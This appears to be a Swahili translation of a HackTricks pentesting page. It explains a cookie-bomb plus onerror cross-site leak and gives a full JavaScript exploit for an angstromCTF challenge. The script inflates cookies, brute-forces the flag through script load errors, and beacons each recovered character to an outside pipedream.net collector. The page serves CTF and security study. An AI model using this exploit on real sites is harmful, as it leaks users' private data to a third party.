hacktricks/pentesting-web/xs-search/cookie-bomb-+-onerror-xs-leak.md
2024-02-11 02:13:58 +00:00

4.4 KiB

Mabomu ya Vidakuzi + Kuvuja kwa Onerror XS

Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Script ifuatayo iliyochukuliwa kutoka hapa inatumia kazi ambayo inaruhusu mtumiaji kuweka idadi yoyote ya vidakuzi, na kisha kupakia faili kama skripti ikijua kuwa jibu halisi litakuwa kubwa kuliko jibu la uwongo na kisha. Ikiwa mafanikio, jibu ni uhamisho na URL inayotokana ni ndefu, kubwa sana kushughulikiwa na seva hivyo inarudisha kificho cha hali ya http cha kosa. Ikiwa utafutaji haufanikiwi, hakuna kitatokea kwa sababu URL ni fupi.

<>'";<form action='https://sustenance.web.actf.co/s' method=POST><input id=f /><input name=search value=a /></form>
<script>
const $ = document.querySelector.bind(document);
const sleep = (ms) => new Promise(r => setTimeout(r, ms));
let i = 0;
const stuff = async (len=3500) => {
let name = Math.random();
$("form").target = name;
let w = window.open('', name);
$("#f").value = "_".repeat(len);
$("#f").name = i++;
$("form").submit();
await sleep(100);
};
const isError = async (url) => {
return new Promise(r => {
let script = document.createElement('script');
script.src = url;
script.onload = () => r(false);
script.onerror = () => r(true);
document.head.appendChild(script);
});
}
const search = (query) => {
return isError("https://sustenance.web.actf.co/q?q=" + encodeURIComponent(query));
};
const alphabet = "etoanihsrdluc_01234567890gwyfmpbkvjxqz{}ETOANIHSRDLUCGWYFMPBKVJXQZ";
const url = "//en4u1nbmyeahu.x.pipedream.net/";
let known = "actf{";
window.onload = async () => {
navigator.sendBeacon(url + "?load");
await Promise.all([stuff(), stuff(), stuff(), stuff()]);
await stuff(1600);
navigator.sendBeacon(url + "?go");
while (true) {
for (let c of alphabet) {
let query = known + c;
if (await search(query)) {
navigator.sendBeacon(url, query);
known += c;
break;
}
}
}
};
</script>
Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!